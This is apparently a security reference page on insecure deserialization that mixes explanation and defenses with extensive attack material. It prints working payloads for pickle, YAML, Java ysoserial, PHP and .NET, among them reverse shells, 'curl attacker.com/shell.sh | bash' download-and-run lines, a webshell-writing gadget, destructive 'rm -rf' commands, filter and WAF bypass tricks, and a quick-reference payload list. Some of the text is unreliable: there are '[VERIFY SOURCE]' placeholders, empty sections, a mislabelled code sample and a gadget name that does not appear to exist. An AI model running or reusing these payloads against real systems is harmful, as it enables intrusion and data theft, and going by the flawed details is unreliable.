Back to Attack Flows

Table of Contents

What is Insecure Deserialization?

Insecure Deserialization is a vulnerability that occurs when an application deserializes (reconstructs objects from byte streams) untrusted data without proper validation. This can allow attackers to manipulate serialized objects to execute arbitrary code, perform injection attacks, or abuse application logic. When exploited, deserialization flaws can enable:

Why is it Critical?

Insecure Deserialization is ranked #8 in the OWASP Top 10 (2017) and merged into A08:2021 – Software and Data Integrity Failures. It's critical because:

Common Serialization Formats

How Insecure Deserialization Works

The Serialization/Deserialization Process

Serialization converts objects into a byte stream for storage or transmission. Deserialization reverses this process:

# Python example - VULNERABLE
import pickle

# Serialization: Object → Bytes
user = {'username': 'admin', 'role': 'user'}
serialized = pickle.dumps(user)
# b'\x80\x04\x95&\x00\x00\x00...'

# Deserialization: Bytes → Object
user_obj = pickle.loads(serialized)  # DANGEROUS if data is untrusted!

The Vulnerability Pattern

The vulnerability occurs when applications deserialize untrusted data:

// VULNERABLE JAVA CODE
// Reading serialized object from user input
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject();  // DANGEROUS! User controls this data

The Attack

An attacker crafts a malicious serialized object that exploits deserialization:

# Attacker creates malicious pickle payload
import pickle
import os

class Exploit:
    def __reduce__(self):
        # This executes during deserialization!
        return (os.system, ('rm -rf /tmp/important_data',))

malicious_data = pickle.dumps(Exploit())

# When victim deserializes this:
pickle.loads(malicious_data)  # ⚠️ Command executed!

Attack Flow

  1. Discovery: Attacker identifies deserialization in cookies, tokens, or parameters
  2. Analysis: Determines serialization format and target platform
  3. Gadget Chain Construction: Chains together existing classes to achieve code execution
  4. Payload Creation: Serializes malicious object with exploit chain
  5. Injection: Replaces legitimate serialized data with malicious payload
  6. Execution: Application deserializes and executes attacker's code

Magic Methods Exploited

Many languages have special methods called during deserialization:

Advanced Attack Techniques

1. Java Deserialization with Gadget Chains

Java exploitation uses "gadget chains" - sequences of existing classes that can be chained together to execute code:

// Example vulnerable class
public class User implements Serializable {
    private String username;
    private Runtime runtime;
    
    private void readObject(ObjectInputStream in) {
        // Custom deserialization - DANGEROUS!
        in.defaultReadObject();
        // Attacker can set runtime object
        runtime.exec(someCommand); // Code execution!
    }
}

Using ysoserial

ysoserial generates exploit payloads for Java deserialization [VERIFY SOURCE]:

# Generate CommonsCollections payload
java -jar ysoserial.jar CommonsCollections1 "calc.exe" | base64

# Apache Commons Collections exploit
java -jar ysoserial.jar CommonsCollections6 "wget http://attacker.com/shell.sh -O /tmp/s.sh"

# Spring Framework exploit
java -jar ysoserial.jar Spring1 "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"

# JSON-based (Jackson)
java -jar ysoserial.jar JacksonRCE "rm -rf /tmp/*"

2. Python Pickle Exploitation

# Remote Code Execution via pickle
import pickle
import base64

class RCE:
    def __reduce__(self):
        import os
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

# Generate payload
payload = pickle.dumps(RCE())
encoded = base64.b64encode(payload)
print(encoded)

# More sophisticated - reverse shell
class RevShell:
    def __reduce__(self):
        import subprocess
        cmd = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'10.0.0.1\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\'/bin/bash\',\'-i\'])"'
        return (subprocess.Popen, (cmd,))

3. PHP Object Injection

// VULNERABLE PHP CODE
<?php
class Logger {
    public $logFile = '/tmp/log.txt';
    public $data;
    
    function __destruct() {
        // Called when object is destroyed - DANGEROUS!
        file_put_contents($this->logFile, $this->data);
    }
}

// Vulnerable deserialization
$user_data = unserialize($_COOKIE['user']);
?>

<!-- Attacker payload -->
<?php
// Create malicious object
$exploit = new Logger();
$exploit->logFile = '/var/www/html/shell.php';
$exploit->data = '<?php system($_GET["cmd"]); ?>';

// Serialize and use as cookie
$payload = serialize($exploit);
// O:6:"Logger":2:{s:7:"logFile";s:27:"/var/www/html/shell.php";s:4:"data";s:30:"<?php system($_GET["cmd"]); ?>";}
?>

4. .NET BinaryFormatter Exploitation

// VULNERABLE C# CODE
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;

BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(untrustedStream); // DANGEROUS!

// Exploitation with ysoserial.net
// ysoserial.net -f BinaryFormatter -g WindowsIdentity -c "calc.exe"

5. Ruby Marshal Exploitation

# VULNERABLE Ruby code
user_data = Marshal.load(params[:data])  # DANGEROUS!

# Exploit - Remote Code Execution
payload = Marshal.dump(`whoami`)

# Advanced - using ERB template injection
require 'erb'
class Exploit
  def initialize
    ERB.new("<%= `ls -la /` %>").result
  end
end
Marshal.dump(Exploit.new)

6. YAML Deserialization

# Python PyYAML - VULNERABLE
import yaml

# UNSAFE deserialization
data = yaml.load(user_input)  # Allows arbitrary Python objects!

# Exploit payload
exploit = """
!!python/object/apply:os.system
args: ['curl http://attacker.com/shell | sh']
"""

# Safe alternative
data = yaml.safe_load(user_input)  # Only basic Python objects

7. Gadget Chain Discovery

Finding exploitable classes in the application's classpath:

# Java - search for readObject methods
find . -name "*.jar" -exec unzip -l {} \; | grep -i "readobject"

# Analyze dependencies
mvn dependency:tree | grep -i "commons-collections"

# Look for dangerous libraries
# - Apache Commons Collections (versions < 3.2.2)
# - Spring Framework (certain versions)
# - Apache Groovy
# - XStream

Defense Bypass Strategies

Bypassing Signature Verification

1. Algorithm Confusion

# If signature verification is weak
# Original: HMAC-SHA256(data + secret)
# Attacker tries to change algorithm to "none"

import jwt
payload = {'user': 'admin', 'role': 'admin'}
# Try unsigned JWT
token = jwt.encode(payload, None, algorithm='none')

2. Type Confusion

// Exploit Java type handling
// If whitelist checks class name as String
"java.lang.Runtime".getClass()  // Might bypass string comparison

Bypassing Class Whitelisting

1. Inheritance Exploitation

// If only ArrayList is whitelisted
// But attacker can use subclass that wasn't blacklisted
class MaliciousArrayList extends ArrayList {
    private void readObject(ObjectInputStream in) {
        // Malicious code here
    }
}

2. Proxy Classes

// Use Java Proxy to wrap malicious invocation handler
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;

// Create proxy that executes code on method invocation
Proxy.newProxyInstance(...)

Bypassing Input Validation

1. Encoding Tricks

# Base64 encoding
echo "malicious_pickle_payload" | base64

# Double encoding
# URL encode → Base64 → Send

# Compression
import zlib
compressed = zlib.compress(pickle_payload)

2. Format Confusion

// PHP - switching between serialization formats
// If JSON is checked but serialize() is used:
$json_data = json_decode($input);
$php_obj = unserialize($json_data['nested_field']); // Still vulnerable!

Bypassing WAF/IDS

1. Fragmentation

// Split malicious payload across multiple requests
// Send partial serialized object, complete on server

2. Polymorphic Payloads

# Generate different serialized forms of same attack
# Each time payload is different but achieves same result

import pickle
import random

class PolyExploit:
    def __reduce__(self):
        # Add random junk that doesn't affect execution
        junk = random.randint(1, 10000)
        return (os.system, (f'id # {junk}',))

Bypassing Deserialization Filters

1. Nested Objects

// Hide malicious object inside legitimate wrapper
class LegitimateClass implements Serializable {
    private SafeObject safe;
    private Object hidden; // Actually contains exploit chain
}

2. Late Binding

# Execute code after deserialization completes
class DelayedExploit:
    def __init__(self):
        self.cmd = "whoami"
    
    def __getstate__(self):
        return {'cmd': self.cmd}
    
    def __setstate__(self, state):
        # Deserialization happens here
        import subprocess
        subprocess.call(state['cmd'], shell=True)

Prevention & Mitigation

1. Avoid Deserializing Untrusted Data

THE PRIMARY DEFENSE

Best Practice

Never deserialize data from untrusted sources. If possible, use alternative data formats that don't support object instantiation.

# ❌ DANGEROUS - Native serialization
import pickle
user = pickle.loads(untrusted_data)

# ✅ SAFE - Use JSON instead
import json
user = json.loads(untrusted_data)  # Only basic types, no code execution

2. Use Safe Serialization Formats

Prefer data-only formats that don't support arbitrary object instantiation:

3. Implement Integrity Checks

Sign serialized data to detect tampering:

# Python - HMAC signature
import hmac
import hashlib
import json

SECRET_KEY = b'your-secret-key-here'

def serialize_safe(data):
    json_data = json.dumps(data)
    signature = hmac.new(SECRET_KEY, json_data.encode(), hashlib.sha256).hexdigest()
    return json_data + '.' + signature

def deserialize_safe(signed_data):
    try:
        data, signature = signed_data.rsplit('.', 1)
        expected_sig = hmac.new(SECRET_KEY, data.encode(), hashlib.sha256).hexdigest()
        
        if not hmac.compare_digest(signature, expected_sig):
            raise ValueError("Invalid signature")
        
        return json.loads(data)
    except Exception as e:
        raise ValueError("Deserialization failed")
// Java - HMAC validation
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;

public class SafeSerializer {
    private static final String SECRET = "your-secret-key";
    
    public static String sign(String data) throws Exception {
        Mac mac = Mac.getInstance("HmacSHA256");
        SecretKeySpec key = new SecretKeySpec(SECRET.getBytes(), "HmacSHA256");
        mac.init(key);
        byte[] signature = mac.doFinal(data.getBytes());
        return data + "." + Base64.getEncoder().encodeToString(signature);
    }
    
    public static String verify(String signedData) throws Exception {
        String[] parts = signedData.split("\\.");
        if (parts.length != 2) throw new SecurityException("Invalid format");
        
        String data = parts[0];
        String signature = parts[1];
        
        // Verify signature
        String expectedSig = sign(data).split("\\.")[1];
        if (!MessageDigest.isEqual(signature.getBytes(), expectedSig.getBytes())) {
            throw new SecurityException("Invalid signature");
        }
        return data;
    }
}

4. Use Type Whitelisting

Restrict deserialization to known safe classes:

// Java - Custom ObjectInputStream with whitelist
import java.io.ObjectInputStream;

public class SecureObjectInputStream extends ObjectInputStream {
    private static final Set<String> WHITELIST = Set.of(
        "com.example.SafeClass1",
        "com.example.SafeClass2",
        "java.lang.String",
        "java.util.ArrayList"
    );
    
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) 
            throws IOException, ClassNotFoundException {
        
        if (!WHITELIST.contains(desc.getName())) {
            throw new InvalidClassException("Unauthorized class", desc.getName());
        }
        
        return super.resolveClass(desc);
    }
}
# Python - Restricted unpickler
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    ALLOWED_CLASSES = {
        ('__builtin__', 'dict'),
        ('__builtin__', 'list'),
        ('__builtin__', 'str'),
        ('myapp.models', 'SafeUser'),
    }
    
    def find_class(self, module, name):
        if (module, name) not in self.ALLOWED_CLASSES:
            raise pickle.UnpicklingError(f"Class {module}.{name} not allowed")
        return super().find_class(module, name)

def safe_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

5. Isolate Deserialization

Run deserialization in sandboxed environments:

6. Use Modern Secure Alternatives

// Java - Replace BinaryFormatter
// ❌ DANGEROUS
BinaryFormatter formatter = new BinaryFormatter();
object obj = formatter.Deserialize(stream);

// ✅ SAFE - Use JSON
using System.Text.Json;
var options = new JsonSerializerOptions { /* configure */ };
MyObject obj = JsonSerializer.Deserialize<MyObject>(json, options);
# Python - Avoid pickle for untrusted data
# ❌ DANGEROUS
import pickle
data = pickle.loads(untrusted_input)

# ✅ SAFE - Use JSON or MessagePack
import json
data = json.loads(untrusted_input)

# or
import msgpack
data = msgpack.unpackb(untrusted_input)

7. Monitor and Log Deserialization

import logging

def deserialize_with_logging(data, source):
    logger = logging.getLogger('deserialization')
    logger.info(f"Deserialization attempt from {source}")
    
    try:
        # Use safe deserialization
        result = safe_deserialize(data)
        logger.info(f"Successful deserialization: {type(result)}")
        return result
    except Exception as e:
        logger.error(f"Deserialization failed: {e}")
        raise

8. Dependency Management

Remove or update vulnerable libraries:

# Java - Check for vulnerable dependencies
mvn dependency:tree

# Remove dangerous libraries if not needed
# - commons-collections < 3.2.2
# - commons-beanutils
# - groovy
# - XStream < 1.4.17

# Python - Update PyYAML
pip install 'PyYAML>=5.4'

# Use tools like OWASP Dependency-Check
dependency-check --project MyApp --scan /path/to/libs

9. Content Type Validation

# Validate content type before deserialization
def safe_deserialize(data, expected_type):
    result = json.loads(data)
    
    # Type validation
    if not isinstance(result, expected_type):
        raise TypeError(f"Expected {expected_type}, got {type(result)}")
    
    # Schema validation
    validate_schema(result)
    
    return result

Detection & Testing

Manual Testing Techniques

1. Identifying Serialized Data

Look for these patterns in cookies, parameters, and API requests:

# Java serialized objects (Base64 encoded)
rO0AB...  (starts with 'rO0' in base64, 0xACED0005 in hex)

# PHP serialized
O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}
a:2:{i:0;s:5:"value";i:1;s:5:"value";}

# Python pickle (Base64)
gASV...
KFN0c...

# .NET BinaryFormatter
AAEAAAD...

# Java JSON (look for @class, @type indicators)
{"@class":"com.example.User","username":"admin"}

2. Basic Tampering Test

# Modify serialized data and observe behavior
# Original cookie:
O:4:"User":2:{s:4:"role";s:4:"user";}

# Modified to admin:
O:4:"User":2:{s:4:"role";s:5:"admin";}

# If successful, access is escalated

3. Exception Triggering

# Send malformed serialized data
# Look for stack traces revealing:
# - Deserialization libraries in use
# - Class names
# - File paths

# Example: Corrupt the payload slightly
rO0CORRUPT_DATA_HERE

4. Out-of-Band Detection

# Python pickle - DNS exfiltration
import pickle
import os

class DNSExfil:
    def __reduce__(self):
        return (os.system, ('nslookup vulnerable.attacker.com',))

payload = pickle.dumps(DNSExfil())
# Send payload, monitor DNS logs

Automated Testing Tools

ysoserial (Java)

Generate Java deserialization exploits [VERIFY SOURCE]:

# Installation
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package

# Generate payloads
java -jar ysoserial-master.jar CommonsCollections1 "whoami" | base64

# Test common gadget chains
java -jar ysoserial-master.jar CommonsCollections1 calc.exe
java -jar ysoserial-master.jar CommonsCollections6 calc.exe
java -jar ysoserial-master.jar Spring1 calc.exe
java -jar ysoserial-master.jar Jdk7u21 calc.exe

# With Burp Intruder
# Generate multiple payloads and test all gadget chains

ysoserial.net (.NET)

# Generate .NET payloads
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "calc.exe"
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "powershell.exe"
ysoserial.exe -f ObjectStateFormatter -g PSObject -c "cmd /c whoami"

phpggc (PHP)

# PHP Generic Gadget Chains
git clone https://github.com/ambionics/phpggc.git

# Generate payload for Laravel
./phpggc Laravel/RCE1 system id

# Generate for Symfony
./phpggc Symfony/RCE4 system whoami

# Generate for Monolog
./phpggc Monolog/RCE1 system "cat /etc/passwd"

Burp Suite Extensions

Code Review Patterns

Search for vulnerable deserialization patterns:

# Python - dangerous pickle usage
grep -r "pickle.loads" .
grep -r "yaml.load" . | grep -v "safe_load"
grep -r "marshal.load" .

# Java - native deserialization
grep -r "readObject" .
grep -r "ObjectInputStream" .
grep -r "XMLDecoder" .

# PHP - unserialize
grep -r "unserialize" .
grep -r "__wakeup" .
grep -r "__destruct" .

# .NET - dangerous formatters
grep -r "BinaryFormatter" .
grep -r "SoapFormatter" .
grep -r "ObjectStateFormatter" .

# Ruby - Marshal/YAML
grep -r "Marshal.load" .
grep -r "YAML.load" .

Runtime Detection

# Add monitoring to deserialization points
import logging
import pickle

original_loads = pickle.loads

def monitored_loads(data):
    logging.warning(f"Pickle deserialization from: {inspect.stack()[1]}")
    logging.warning(f"Data length: {len(data)}")
    return original_loads(data)

pickle.loads = monitored_loads

SAST/DAST Tools

Real-World Examples

Notable Breaches

1. Apache Struts (Equifax Breach, 2017)

2. Jenkins RCE (Multiple instances, 2015-2019)

3. WebLogic Server RCE (2019-2020)

4. Apache Commons Collections (2015)

5. Rails YAML Deserialization (2013)

Common Vulnerable Applications

Attack Scenarios

Scenario 1: Session Token Manipulation

# Application stores serialized user object in cookie
Cookie: session=rO0ABXNyABljb20uZXhhbXBsZS5Vc2Vy...

# Attacker decodes, modifies role from 'user' to 'admin'
# Re-serializes and replaces cookie
# Gains administrative access

Scenario 2: API Token Forgery

# API uses pickle for JWT-like tokens
import pickle
import base64

token_data = {'user_id': 1, 'role': 'user'}
token = base64.b64encode(pickle.dumps(token_data))

# Attacker creates malicious token with RCE payload
class Exploit:
    def __reduce__(self):
        return (os.system, ('nc attacker.com 4444 -e /bin/bash',))

malicious_token = base64.b64encode(pickle.dumps(Exploit()))
# Send in Authorization header → RCE when deserialized

Scenario 3: File Upload with Serialized Metadata

// Application accepts uploaded files with metadata
<?php
$metadata = unserialize($_POST['file_metadata']);
$file_path = $metadata->path;
$file_owner = $metadata->owner;

// Attacker uploads file with malicious metadata
// Metadata contains object with __destruct() writing webshell
?>

Quick Reference

Common Payloads by Platform

Java

# Using ysoserial
java -jar ysoserial.jar CommonsCollections1 "ping attacker.com"
java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh | bash"
java -jar ysoserial.jar Spring1 "wget http://attacker.com/backdoor"
java -jar ysoserial.jar Jdk7u21 "calc.exe"

Python

# Pickle RCE
import pickle, os, base64

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

print(base64.b64encode(pickle.dumps(Exploit())))

PHP

// Object injection payload
O:4:"User":2:{s:8:"isAdmin";b:1;s:8:"username";s:5:"admin";}

// File write gadget
O:6:"Logger":2:{s:4:"file";s:10:"/tmp/shell.php";s:4:"data";s:18:"<?php phpinfo(); ?>";}

.NET

# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "powershell -enc [base64]"
ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -c "cmd /c whoami"

Testing Checklist

Prevention Checklist

Vulnerable Libraries to Watch

Detection Patterns

# Serialized object signatures
rO0AB          # Java (base64)
AAEAAAD        # .NET BinaryFormatter (base64)
0xACED0005     # Java (hex)
O:             # PHP object
a:             # PHP array
gASV           # Python pickle (protocol 4)
\x80\x04       # Python pickle (hex)
!!python/      # Python YAML unsafe

Resources